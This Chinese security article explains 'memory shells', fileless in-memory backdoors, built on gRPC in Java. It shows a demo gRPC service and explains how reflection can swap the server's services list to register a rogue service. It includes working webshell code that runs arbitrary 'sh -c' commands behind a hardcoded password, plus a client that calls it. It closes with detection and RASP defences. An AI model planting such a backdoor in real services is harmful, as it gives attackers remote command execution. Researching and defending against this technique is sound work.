内存马的攻防博弈之旅之gRPC内存马

admin 2022年12月1日12:20:48安全文章评论19 views6334字阅读21分6秒阅读模式
内存马的攻防博弈之旅之gRPC内存马


一.  概述

内存马的攻防博弈之旅中,我们对内存马做过了一定的介绍。做个简单的总结,内存马就是在系统动态创建对外提供服务的恶意后门接口,并且整个过程没有文件落地,全都在内存中执行,故称之为内存马。

目前已经有基于Filter,servlet,service,websocket等方式实现的内存马。本文将介绍利用gRPC协议的新型的内存马的实现与防御。

 

二.  gRPC

gRPC[1]是由 google开发的一个高性能、通用的开源RPC框架,主要面向移动应用开发且基于HTTP/2协议标准而设计,同时支持大多数流行的编程语言。

官方对gRPC协议的介绍如下:

gRPC 是一种现代开源高性能远程过程调用 (RPC) 框架,可以在任何环境中运行。它可以通过对负载平衡、跟踪、健康检查和身份验证的可插拔支持,有效地连接数据中心内和数据中心之间的服务。它还适用于分布式计算的最后一英里,将设备、移动应用程序和浏览器连接到后端服务。

gRPC协议有着以下的特性:

1. 简单的服务定义
使用 Protocol Buffers 定义您的服务,这是一种强大的二进制序列化工具集和语言。

2. 快速启动并扩展
使用一行代码安装运行时和开发环境,并使用框架扩展到每秒数百万次 RPC。

3. 跨语言和平台工作
以各种语言和平台为您的服务自动生成惯用的客户端和服务器存根。

4. 双向流和集成身份验证
双向流和完全集成的可插拔身份验证与基于 HTTP/2 的传输。

gRPC以其高效的性能,在现在微服务架构中越来越流行。既然gRPC协议就是一种对外提供服务的接口,那是否也可以通过gRPC协议来实现一种新型的内存马呢?

 

三.  gRPC环境搭建

3.1  

环境搭建

首先,我们使用java maven环境搭建一个gRPC服务。完整代码在:

https://github.com/snailll/gRPCDemo

创建一个简单User服务,gRPC基于

ProtoBuf(Protocol Buffers) [2] 序列化协议开发,我们需要先定义user.proto

syntax = "proto3";package protocol;

option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message User { int32 userId = 1; string username = 2; sint32 age = 3; string name = 4;}
service UserService { rpc getUser (User) returns (User) {} rpc getUsers (User) returns (stream User) {} rpc saveUsers (stream User) returns (User) {}}

再实现对应UserService里的方法

public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {    @Override    public void getUser(User request, StreamObserver<User> responseObserver) {        System.out.println(request);       ...        responseObserver.onNext(user);        responseObserver.onCompleted();    }
@Override public void getUsers(User request, StreamObserver<User> responseObserver) { ... responseObserver.onNext(user); responseObserver.onNext(user2);
responseObserver.onCompleted(); }
@Override public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {
return new StreamObserver<User>() { ... }; }}

启动服务

public class NsServer {    public static void main(String[] args) throws Exception {        int port = 8082;        Server server = ServerBuilder                .forPort(port)                .addService(new UserServiceImpl())                .build()                .start();        System.out.println("server started, port : " + port);        server.awaitTermination();    }}

启动客户端

public class NsTest {    public static void main(String[] args) {
User user = User.newBuilder() .setUserId(100) .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel); User responseUser = userServiceBlockingStub.getUser(user); System.out.println(responseUser);
Iterator<User> users = userServiceBlockingStub.getUsers(user); while (users.hasNext()) { System.out.println(users.next()); }
channel.shutdown(); }}


四.  内存马实现方式

4.1  

实现原理

需要实现内存马,我们就需要能够动态创建对外提供服务的恶意后门接口,通过上面的环境搭建步骤我们可以看到,添加服务是Server的addService方法实现的,那我们就以此为入口,分析服务是如何添加以及运行的,来实现后续的动态添加service实现内存马的能力。


4.2  

关键逻辑分析

 

内存马的攻防博弈之旅之gRPC内存马

图1  gRPC方法请求流程及动态注入

通过分析服务解析调用的流程,整个gRPC服务的注册及调用流程如图1所示:

1. 启动时创建services列表,添加所有的gRPC的接口的定义,并设置为unmodifiable;

2. 请求时判断调用的接口是否在接口列表中,在列表中就调用对应的实现类。


通过分析server创建以及请求调用的过程,可以得出,如果想要实现动态注入gRPC service,那我们需要满足以下条件:

1. 能获取到获取到services列表;

2. 能创建自定义的service接口;

3. 能够对unmodifiable的接口做修改,加入创建的service接口


通过分析,在gRPC调用链中,我们可以看到一个参数里面的services,methods也正是我们注册的User服务。通过java的反射机制,就可以获取到此属性。

内存马的攻防博弈之旅之gRPC内存马

图2  请求中的services对象

对于已经设置为unmodifiable的services对象,往里面直接put元素会抛出异常。因此我们采取一种讨巧的方式,创建一个新的可以修改的对象,将原始内容添加进去,并加入我们需要新加入的Service,最后反射set为新创建的值。


4.3  

利用构造

通过java反序列化等漏洞我们可以利用java的反射机制实现动态注入接口,修改services对象注入内存马接口,因为PoC包含攻击性暂不提供。  内存马的简单内容实现如下:

webshell.proto定义:

syntax = "proto3";package protocol;
option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message Webshell {
string pwd = 1; string cmd = 2;}

service WebShellService { rpc exec (Webshell) returns (Webshell) {}}

webshell实现类:

public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {
@Override public void exec(Webshell request, StreamObserver<Webshell> responseObserver) { super.exec(request, responseObserver); String pwd = request.getPwd(); String cmd = request.getCmd();
if ("x".equals(pwd)) { String[] cmdStrings = new String[]{"sh", "-c", cmd}; String retString = "";
Process p = null; try { p = Runtime.getRuntime().exec(cmdStrings); int status = p.waitFor(); List<String> processList = new ArrayList<String>();
BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { processList.add(line); } input.close();
for (String l : processList) { line += l; } System.out.println(line);
// String result = p.getOutputStream().toString(); System.out.println("=======>" + line); if (status != 0) { System.err.println(String.format("runShellCommand: %s, status: %s", cmd, status)); }
Webshell webshell = Webshell .newBuilder().setCmd(line).build(); responseObserver.onNext(webshell); responseObserver.onCompleted(); } catch (Exception e) { e.printStackTrace(); } finally { if (p != null) { p.destroy(); } } } }}


4.4  

利用效果

默认未执行payload前Service只有一个。

内存马的攻防博弈之旅之gRPC内存马

图3  未执行内存马前的service对象列表

执行payload添加 Service后,webshell Service 已经成功注册。

内存马的攻防博弈之旅之gRPC内存马

图4 执行内存马后的service对象列表

client连接webshell,执行命令

public class TestShell {    public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder() .setPwd("x") .setCmd("ls -al ") .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel); Webshell s = webShellServiceBlockingStub.exec(webshell); System.out.println(s.getCmd()); try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } channel.shutdown(); }}

可以看到server已经成功执行命令,输出结果。

内存马的攻防博弈之旅之gRPC内存马

5  内存马执行命令成功结果


五.  防御手段

目前内存马的检测手段主要有两种方式,一种是利用基于Instrument的Agent的事后检测机制,一种是利用RASP的事中检测机制。

传统的利用Instrument的Agent检测机制是对已存在的Servlet,Filter,Listener,Interceptor,websocket对象的class文件反编译后再做恶意代码识别。但gRPC类型的内存马并不在这个列表中,因此是无法检测的。对gRPC类型的内存马,可以加入对实现了io.grpc.BindableService接口的类做检测。

利用RASP技术,可以对动态修改services列表的行为做检测阻断,以实现阻止gRPC内存马的创建。


六.  总结

本文介绍了在新的微服务的场景,随着gRPC协议的广泛应用,利用gRPC实现的新型的内存马技术也给企业的安全防护带来了新的挑战。同时随着技术的不断的迭代发展,也有可能会有其他新型的内存马的出现。可以看出内存马安全攻防的博弈一直都在持续进行中,这趟旅程还没有到终点。


参考文献

[1]  https://grpc.io

[2]  https://developers.google.com/protocol-buffers


内容编辑:创新研究院  陈建军
 责任编辑:创新研究院  陈佛忠

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